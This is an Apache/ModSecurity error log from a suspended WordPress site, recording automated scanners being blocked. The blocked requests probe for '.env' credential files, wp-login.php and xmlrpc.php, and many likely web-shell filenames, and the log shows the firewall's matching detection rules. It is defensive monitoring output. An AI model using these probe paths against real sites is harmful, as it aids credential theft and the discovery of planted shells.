[Wed May 20 14:34:00.601767 2026] [:error] [pid 7731:tid 7749] [client 34.46.57.55:53864] [client 34.46.57.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "ag1V2H9qQlHXbkl2nEuemAAAAZA"]
[Wed May 20 14:34:00.989762 2026] [:error] [pid 41278:tid 41333] [client 34.46.57.55:49403] [client 34.46.57.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ag1V2PWiNKASEfiGdwaXNAAAAFg"]
[Wed May 20 16:56:51.832558 2026] [:error] [pid 7731:tid 7753] [client 34.56.62.173:35130] [client 34.56.62.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "ag13U39qQlHXbkl2nEvGOAAAAZQ"]
[Wed May 20 16:56:52.630085 2026] [:error] [pid 7731:tid 7757] [client 34.56.62.173:35144] [client 34.56.62.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production"] [unique_id "ag13VH9qQlHXbkl2nEvGPQAAAZg"]
[Wed May 20 16:56:53.826186 2026] [:error] [pid 44059:tid 44070] [client 34.56.62.173:57032] [client 34.56.62.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "ag13VRfFs-oSOOcyjyzxHQAAAQk"]
[Wed May 20 20:18:47.000773 2026] [:error] [pid 41364:tid 41376] [client 195.178.110.105:46064] [client 195.178.110.105] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||www.windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "ag2mphKTmyvxtNXrN-jQZgAAAIo"]
[Wed May 20 20:18:47.000901 2026] [:error] [pid 41364:tid 41376] [client 195.178.110.105:46064] [client 195.178.110.105] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "ag2mphKTmyvxtNXrN-jQZgAAAIo"]
[Wed May 20 20:27:59.068583 2026] [:error] [pid 41279:tid 41336] [client 59.154.241.85:49694] [client 59.154.241.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 59.154.241.85, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ag2ozrEFyfaehGZbt4yYPwAAAMA"], referer: https://windfarmcoolants.com.au/wp-login.php
[Wed May 20 20:27:59.073462 2026] [:error] [pid 41279:tid 41336] [client 59.154.241.85:49694] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://windfarmcoolants.com.au/wp-login.php
[Wed May 20 20:28:02.390832 2026] [:error] [pid 41279:tid 41354] [client 178.66.18.244:45940] [client 178.66.18.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.66.18.244, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "ag2o0rEFyfaehGZbt4yYQAAAANI"], referer: https://windfarmcoolants.com.au/xmlrpc.php
[Wed May 20 20:28:02.395734 2026] [:error] [pid 41279:tid 41354] [client 178.66.18.244:45940] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php, referer: https://windfarmcoolants.com.au/xmlrpc.php
[Wed May 20 20:32:56.088660 2026] [:error] [pid 44059:tid 44076] [client 195.178.110.155:63650] [client 195.178.110.155] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||www.windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "ag2p9xfFs-oSOOcyjywh1QAAAQ8"]
[Wed May 20 20:32:56.088726 2026] [:error] [pid 44059:tid 44076] [client 195.178.110.155:63650] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "ag2p9xfFs-oSOOcyjywh1QAAAQ8"]
[Wed May 20 21:53:25.970523 2026] [:error] [pid 41279:tid 41355] [client 88.163.186.252:15104] [client 88.163.186.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.163.186.252, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "ag281bEFyfaehGZbt4ykKgAAANM"]
[Wed May 20 21:53:25.975589 2026] [:error] [pid 41279:tid 41355] [client 88.163.186.252:15104] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Wed May 20 23:19:02.698361 2026] [:error] [pid 41279:tid 41353] [client 104.28.159.128:14363] [client 104.28.159.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.159.128, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ag3Q5rEFyfaehGZbt4yuWwAAANE"]
[Wed May 20 23:19:02.704641 2026] [:error] [pid 41279:tid 41353] [client 104.28.159.128:14363] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu May 21 04:27:40.084913 2026] [:error] [pid 49982:tid 49995] [client 64.236.133.195:51967] [client 64.236.133.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.236.133.195, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp/xmlrpc.php"] [unique_id "ag4ZPGFwIDa5Tf8O4bb1hwAAAMs"]
[Thu May 21 08:04:51.470814 2026] [:error] [pid 49982:tid 49985] [client 135.119.26.13:43185] File does not exist: /usr/local/apache/htdocs/suspended-page/r.php
[Thu May 21 08:04:51.672095 2026] [:error] [pid 49982:tid 50008] [client 135.119.26.13:43185] File does not exist: /usr/local/apache/htdocs/suspended-page/ight.php
[Thu May 21 08:04:51.862062 2026] [:error] [pid 49982:tid 49994] [client 135.119.26.13:43185] File does not exist: /usr/local/apache/htdocs/suspended-page/wpns.php
[Thu May 21 08:04:52.053269 2026] [:error] [pid 49982:tid 49995] [client 135.119.26.13:43185] File does not exist: /usr/local/apache/htdocs/suspended-page/er.php
[Thu May 21 08:04:52.320664 2026] [:error] [pid 49982:tid 49991] [client 135.119.26.13:43185] File does not exist: /usr/local/apache/htdocs/suspended-page/sql.php
[Thu May 21 08:04:52.816722 2026] [:error] [pid 49982:tid 49984] [client 135.119.26.13:43185] File does not exist: /usr/local/apache/htdocs/suspended-page/getir.php
[Thu May 21 08:04:53.201833 2026] [:error] [pid 49982:tid 50005] [client 135.119.26.13:43185] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Thu May 21 08:04:53.398913 2026] [:error] [pid 49982:tid 50001] [client 135.119.26.13:43185] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php
[Thu May 21 08:04:53.587750 2026] [:error] [pid 49982:tid 49999] [client 135.119.26.13:43185] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class.php"] [unique_id "ag5MJWFwIDa5Tf8O4bY-WAAAAM8"]
[Thu May 21 08:04:54.220292 2026] [:error] [pid 9189:tid 9223] [client 135.119.26.13:42853] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class.php"] [unique_id "ag5MJpvTDh1NbYizKVwhTgAAAgQ"]
[Thu May 21 08:04:54.880456 2026] [:error] [pid 49879:tid 49933] [client 135.119.26.13:10600] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class.php"] [unique_id "ag5MJoVqYDjFSyG2gFoepwAAAE0"]
[Thu May 21 08:04:58.531168 2026] [:error] [pid 9188:tid 9205] [client 135.119.26.13:38477] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class.php"] [unique_id "ag5MKrGYm6q5dNSUvA9tggAAAc0"]
[Thu May 21 08:05:08.216759 2026] [:error] [pid 49982:tid 49985] [client 135.119.26.13:51149] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "ag5MNGFwIDa5Tf8O4bY-ZwAAAME"]
[Thu May 21 08:05:09.339130 2026] [:error] [pid 49982:tid 49993] [client 135.119.26.13:56665] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "ag5MNWFwIDa5Tf8O4bY-aQAAAMk"]
[Thu May 21 08:05:09.943562 2026] [:error] [pid 49982:tid 50000] [client 135.119.26.13:56683] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "ag5MNWFwIDa5Tf8O4bY-bAAAANA"]
[Thu May 21 08:05:21.789274 2026] [:error] [pid 9189:tid 9224] [client 135.119.26.13:37205] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "ag5MQZvTDh1NbYizKVwhZwAAAgU"]
[Thu May 21 08:05:34.633148 2026] [:error] [pid 49884:tid 49955] [client 135.119.26.13:14815] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "ag5MTq5MPpsTNNHWS6jiFAAAAIg"]
[Thu May 21 08:06:02.308955 2026] [:error] [pid 49982:tid 50008] [client 135.119.26.13:46078] File does not exist: /usr/local/apache/htdocs/suspended-page/aw.php
[Thu May 21 08:06:04.518693 2026] [:error] [pid 49982:tid 50006] [client 135.119.26.13:46078] File does not exist: /usr/local/apache/htdocs/suspended-page/bb.php
[Thu May 21 08:06:04.710935 2026] [:error] [pid 49982:tid 49999] [client 135.119.26.13:46078] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Thu May 21 08:06:04.955910 2026] [:error] [pid 49982:tid 49997] [client 135.119.26.13:46078] File does not exist: /usr/local/apache/htdocs/suspended-page/222.php
[Thu May 21 08:06:05.155591 2026] [:error] [pid 49982:tid 50002] [client 135.119.26.13:46078] File does not exist: /usr/local/apache/htdocs/suspended-page/test1.php
[Thu May 21 08:06:05.347768 2026] [:error] [pid 49982:tid 49990] [client 135.119.26.13:46078] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Thu May 21 08:06:05.563604 2026] [:error] [pid 49982:tid 49998] [client 135.119.26.13:46078] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Thu May 21 08:06:05.755542 2026] [:error] [pid 49982:tid 49989] [client 135.119.26.13:46078] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Thu May 21 08:06:05.957837 2026] [:error] [pid 49982:tid 49993] [client 135.119.26.13:46078] File does not exist: /usr/local/apache/htdocs/suspended-page/php8.php
[Thu May 21 08:06:06.172221 2026] [:error] [pid 49982:tid 50000] [client 135.119.26.13:46078] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Thu May 21 08:06:06.413184 2026] [:error] [pid 49982:tid 49984] [client 135.119.26.13:46078] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Thu May 21 08:06:06.667915 2026] [:error] [pid 49982:tid 49992] [client 135.119.26.13:46078] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "ag5MbmFwIDa5Tf8O4bY-vgAAAMg"]
[Thu May 21 08:06:09.632694 2026] [:error] [pid 49879:tid 49925] [client 135.119.26.13:46022] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "ag5McYVqYDjFSyG2gFoetwAAAEU"]
[Thu May 21 08:06:19.222892 2026] [:error] [pid 49884:tid 49956] [client 135.119.26.13:47172] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "ag5Me65MPpsTNNHWS6jiTQAAAIk"]
[Thu May 21 08:06:34.480523 2026] [:error] [pid 9157:tid 9179] [client 135.119.26.13:44613] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/load.php"] [unique_id "ag5MisGfHcLNqE8m88I9HgAAAZQ"]
[Thu May 21 08:06:40.940324 2026] [:error] [pid 9189:tid 9221] [client 135.119.26.13:10646] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/load.php"] [unique_id "ag5MkJvTDh1NbYizKVwhmgAAAgI"]
[Thu May 21 08:06:45.559181 2026] [:error] [pid 49884:tid 49957] [client 135.119.26.13:38998] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/load.php"] [unique_id "ag5Mla5MPpsTNNHWS6jiagAAAIo"]
[Thu May 21 08:06:51.843715 2026] [:error] [pid 49884:tid 49963] [client 135.119.26.13:10658] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "ag5Mm65MPpsTNNHWS6jiegAAAJA"]
[Thu May 21 08:07:12.318738 2026] [:error] [pid 49877:tid 49912] [client 135.119.26.13:50565] File does not exist: /usr/local/apache/htdocs/suspended-page/test.php
[Thu May 21 08:07:14.314740 2026] [:error] [pid 49877:tid 49903] [client 135.119.26.13:50565] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-the.php
[Thu May 21 08:07:14.511598 2026] [:error] [pid 49877:tid 49894] [client 135.119.26.13:50565] File does not exist: /usr/local/apache/htdocs/suspended-page/CDX2.php
[Thu May 21 08:07:14.726597 2026] [:error] [pid 49877:tid 49902] [client 135.119.26.13:50565] File does not exist: /usr/local/apache/htdocs/suspended-page/profile.php
[Thu May 21 08:07:14.920319 2026] [:error] [pid 49877:tid 49898] [client 135.119.26.13:50565] File does not exist: /usr/local/apache/htdocs/suspended-page/ws80.php
[Thu May 21 08:07:15.144033 2026] [:error] [pid 49877:tid 49899] [client 135.119.26.13:50565] File does not exist: /usr/local/apache/htdocs/suspended-page/a4.php
[Thu May 21 08:07:15.887938 2026] [:error] [pid 49877:tid 49889] [client 135.119.26.13:50565] File does not exist: /usr/local/apache/htdocs/suspended-page/app.php
[Thu May 21 08:07:16.563497 2026] [:error] [pid 49877:tid 49888] [client 135.119.26.13:50565] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Thu May 21 08:07:18.124668 2026] [:error] [pid 49877:tid 49888] [client 135.119.26.13:50565] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Thu May 21 08:07:18.376953 2026] [:error] [pid 49877:tid 49911] [client 135.119.26.13:50565] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Thu May 21 08:07:18.565141 2026] [:error] [pid 49877:tid 49897] [client 135.119.26.13:50565] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "ag5MthgN4MeSe4kIL9AD4AAAAAk"]
[Thu May 21 08:07:24.665457 2026] [:error] [pid 49982:tid 49990] [client 135.119.26.13:10556] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "ag5MvGFwIDa5Tf8O4bY_BQAAAMY"]
[Thu May 21 08:07:28.101753 2026] [:error] [pid 9157:tid 9183] [client 135.119.26.13:10707] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "ag5MwMGfHcLNqE8m88I9PwAAAZg"]
[Thu May 21 08:07:31.692070 2026] [:error] [pid 49982:tid 50002] [client 135.119.26.13:40281] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "ag5Mw2FwIDa5Tf8O4bY_DwAAANI"]
[Thu May 21 08:07:35.320659 2026] [:error] [pid 49884:tid 49960] [client 135.119.26.13:51550] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "ag5Mx65MPpsTNNHWS6ji6wAAAI0"]
[Thu May 21 08:07:40.801413 2026] [:error] [pid 9188:tid 9202] [client 135.119.26.13:37928] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "ag5MzLGYm6q5dNSUvA9t3QAAAco"]
[Thu May 21 08:07:44.302059 2026] [:error] [pid 9188:tid 9209] [client 135.119.26.13:40274] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "ag5M0LGYm6q5dNSUvA9t4gAAAdE"]
[Thu May 21 08:07:55.486702 2026] [:error] [pid 49884:tid 49968] [client 135.119.26.13:37904] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp1.php"] [unique_id "ag5M265MPpsTNNHWS6jjEgAAAJU"]
[Thu May 21 08:07:58.005142 2026] [:error] [pid 9188:tid 9192] [client 135.119.26.13:36468] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp1.php"] [unique_id "ag5M3rGYm6q5dNSUvA9t7gAAAcA"]
[Thu May 21 08:08:01.814517 2026] [:error] [pid 9188:tid 9194] [client 135.119.26.13:36425] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp1.php"] [unique_id "ag5M4bGYm6q5dNSUvA9t9QAAAcI"]
[Thu May 21 08:08:15.885716 2026] [:error] [pid 49982:tid 49984] [client 135.119.26.13:36454] [client 135.119.26.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "ag5M72FwIDa5Tf8O4bY_LwAAAMA"]
[Thu May 21 08:08:42.631640 2026] [:error] [pid 49877:tid 49906] [client 135.119.26.13:41787] File does not exist: /usr/local/apache/htdocs/suspended-page/xs.php
[Thu May 21 08:08:42.821922 2026] [:error] [pid 49877:tid 49904] [client 135.119.26.13:41787] File does not exist: /usr/local/apache/htdocs/suspended-page/xxa.php
[Thu May 21 08:08:43.024664 2026] [:error] [pid 49877:tid 49901] [client 135.119.26.13:41787] File does not exist: /usr/local/apache/htdocs/suspended-page/index0.php
[Thu May 21 08:08:43.256178 2026] [:error] [pid 49877:tid 49889] [client 135.119.26.13:41787] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-kz.php
[Thu May 21 08:08:43.513168 2026] [:error] [pid 49877:tid 49912] [client 135.119.26.13:41787] File does not exist: /usr/local/apache/htdocs/suspended-page/19.php
[Thu May 21 08:08:44.936782 2026] [:error] [pid 49877:tid 49911] [client 135.119.26.13:41787] File does not exist: /usr/local/apache/htdocs/suspended-page/11.php
[Thu May 21 08:08:45.128682 2026] [:error] [pid 49877:tid 49903] [client 135.119.26.13:41787] File does not exist: /usr/local/apache/htdocs/suspended-page/w.php
[Thu May 21 08:08:45.320361 2026] [:error] [pid 49877:tid 49891] [client 135.119.26.13:41787] File does not exist: /usr/local/apache/htdocs/suspended-page/ws78.php
[Thu May 21 08:08:45.567826 2026] [:error] [pid 49877:tid 49897] [client 135.119.26.13:41787] File does not exist: /usr/local/apache/htdocs/suspended-page/xxx.php
[Thu May 21 08:08:45.822616 2026] [:error] [pid 49877:tid 49890] [client 135.119.26.13:41787] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Thu May 21 08:08:46.013412 2026] [:error] [pid 49877:tid 49893] [client 135.119.26.13:41787] File does not exist: /usr/local/apache/htdocs/suspended-page/BDKR28WP.php
